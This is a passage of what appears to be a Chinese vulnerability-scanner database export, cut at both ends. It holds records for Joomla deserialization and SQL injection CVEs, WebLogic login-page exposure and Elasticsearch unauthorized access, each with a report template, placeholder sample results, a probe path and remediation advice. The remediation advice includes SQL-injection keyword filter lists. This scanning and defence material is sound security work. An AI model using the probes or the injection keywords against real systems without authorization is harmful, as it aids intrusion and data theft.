"cpe:2.3:a:joomla:joomla:3.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.6.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.23:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.6.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.7.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.1.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.6.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.6.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.23:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.7.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.19:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.7.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:1.5.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:2.5.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-55234 | CNNVD-201512-463 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 79195 | t | {CT-55234,CVE-2015-8562,CNVD-2015-08380,CNNVD-201512-463,79195} | critical | 6.3 | CNVD-2015-08380 | 攻击者可在应用处通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Joomla!是美国Open Source Matters团队开发的一套开源的内容管理系统(CMS)。该系统提供RSS馈送、网站搜索等功能。 | CVE-2015-8562 | CVE-2015-8562: Joomla! Session反序列远程代码执行漏洞 | http | 暂无 | f | 16/12/2015 16:00:00 | 1. 在代码级调用 shell 时，对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。
2. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
3. PHP 中可使用 escapeshellarg、escapeshellcmd 来转义对应敏感字符。
4. 对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制 eval、system、exec、shell_exec 等函数的参数 。
- JAVA
1. 查看是否有此系统命令的编程替代实现，尽量减少软件中对系统命令的调用。
2. 关闭前端或中间件自带的系统命令调试台，禁止前端使用者可以修改系统命令参数。
3. 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。
4. 调用 `/command/exec/string`,`/command/exec/array`,`/command/processbuilder` 参数时对命令行中的特殊字符（比如|、&、；等）进行转义，防止执行其他非法命令。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-68554 | CNNVD-201705-656 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 98515 | t | {CT-68554,CVE-2017-8917,CNVD-2017-06861,CNNVD-201705-656,98515} | critical | 9.8 | CNVD-2017-06861 | 攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。不仅可以操作现有查询，还可以合并任意数据、使用子选择或追加附加查询。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Joomla!是美国Open Source Matters团队的一套使用PHP和MySQL开发的开源、跨平台的内容管理系统(CMS)。 | CVE-2017-8917 | CVE-2017-8917: Joomla CMS 3.7.0 SQL注入 | http | 暂无 | f | 17/5/2017 16:00:00 | ```
1. 使用预编译语句，使用 PDO 需要注意不要将变量直接拼接到 PDO 语句中。所有的查询语句都使用数据库提供的参数化查询接口，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口，使用此接口可以非常有效的防止 SQL 注入攻击。
2. 程序代码里的所有查询语句，使用标准化的数据库查询语句 API 接口，设定语句的参数进行过滤一些非法的字符，防止用户输入恶意的字符传入到数据库中执行 sql 语句。
3. 对用户提交的的参数安全过滤，像一些特殊的字符 (，()*&……%# 等等) 进行字符转义操作, 以及编码的安全转换。
4. 网站的报错信息尽量不要返回给客户端，比如一些类型错误、字段不匹配、字符错误，数据库的报错信息，尽可能的防止泄露给客户端，防止攻击者利用这些错误信息进行一些判断。
5. 确认每种数据的类型，比如数字型的数据就必须是数字，数据库中的存储字段必须对应为 int 型。
6. 数据长度应该严格规定，能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
7. 网站每个数据层的编码统一，建议全部使用 UTF-8 编码，上下层编码不一致有可能导致一些过滤模型被绕过。
8. 严格限制网站用户的数据库的操作权限，给此用户提供仅仅能够满足其工作的权限，从而最大限度的减少注入攻击对数据库的危害。
9. 过滤危险字符，例如：采用正则表达式匹配 union、sleep、and、select、load_file 等关键字，如果匹配到则终止运行。
```
- 代码层面
- 输入验证
1. 类型判断：字符型、整型；
2. 长度判断：设置最大长度值；
3. 业务参数合法性判断：比如支付金额不可能为负值这种；
4. 特殊字符过滤：比如'，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or 等；
5. 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头；
- 预编译处理 & 参数化查询
1. 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。
- 数据库层面
- 最小权限原则
- 遵循最小化权限原则，严格限制网站用户的数据库的操作权限，禁止将任何高权限帐户（sa，dba、root 等）用于应用程序数据库访问，从而最大限度的减少注入攻击对数据库的危害。
- 禁用敏感函数
- 比如 MSSQL 中，拒绝用户访问敏感的系统存储过程，如 xp_dirtree，xp_cmdshell 等。
- 权限控制
- 限制用户所能够访问的数据库表。
- 编码统一
- 网站与数据层的编码统一，建议全部使用 UTF-8 编码，避免因上下层编码不一致导致一些过滤模型被绕过，比如宽字节注入等。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.4.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:joomla:joomla:3.3.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-65269 | CNNVD-201510-701 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-65269,CVE-2015-7297,CNVD-2015-06803,CNNVD-201510-701} | medium | 6.3 | CNVD-2015-06803 | 攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Joomla!是美国Open Source Matters团队的一套使用PHP和MySQL开发的开源、跨平台的内容管理系统(CMS)。 Joomla! 3.4.4之前3.2版本中存在SQL注入漏洞。远程攻击者可利用该漏洞执行任意SQL命令。 | CVE-2015-7297 | CVE-2015-7297: Joomla! SQL注入漏洞 | http | 暂无 | f | 29/10/2015 16:00:00 | - 输入验证
1. 类型判断：字符型、整型；
2. 长度判断：设置最大长度值；
3. 业务参数合法性判断：比如支付金额不可能为负值这种；
4. 特殊字符过滤：比如'，"，\，<，>，&，*，;，#，select，from，where，sub，if，union，sleep，and，or 等；
5. 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头；
- 预编译处理 & 参数化查询
1. 所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。 |
|
[] | null | f | CT-381904 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-381904} | low | 0 | null | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | WebLogic 是美国 Oracle 公司出品的一个 application server ，确切的说是一个基于 J2EE 架构的中间件。WebLogic 是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的 Java 应用服务器。它将 Java 的动态功能和 Java Enterprise 标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic 长期以来一直被认为是市场上最好的 J2EE 工具之一，是商业市场上主要的 Java（J2EE）应用服务器软件之一，是世界上第一个成功商业化的 J2EE 应用服务器。WebLogic Server 拥有处理关键Web应用系统问题所需的性能、可扩展性和高可用性。
Weblogic 安装后，默认会在 `/console/login/LoginForm.jsp` 部署一个后台登录页面，用来在网页端管理后台应用，该应用可能会泄露一部分应用信息。
| null | 通过浏览器访问如下地址：
```
{{ detail.addr }}
```
如果存在后台登录页面，表示存在该漏洞。 | Oracle WebLogic Server 登录页泄露漏洞 | http | 暂无 | f | 11/3/2021 08:09:06 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
[] | null | f | CT-157803 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157803} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Elasticsearch 未授权访问指的是由于 Elasticsearch 默认监听 9200 端口，相当于一个 API，如果没有设置访问权限，任何人访问这个地址，就可以调用 API，进行数据的增删改查操作而造成未授权访问。攻击者利用该漏洞可以拥有 Elasticsearch 的所有权限，可以对数据进行任意操作，导致业务系统面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索的风险。 | null | 通过浏览器访问如下地址：
```
{{ detail.addr }}
```
如果成功获取信息如包含 `/_cat/master`， 则说明存在该漏洞。 | Elasticsearch 未授权访问漏洞 | http | 暂无 | f | 15/3/2021 10:27:21 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-157806 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
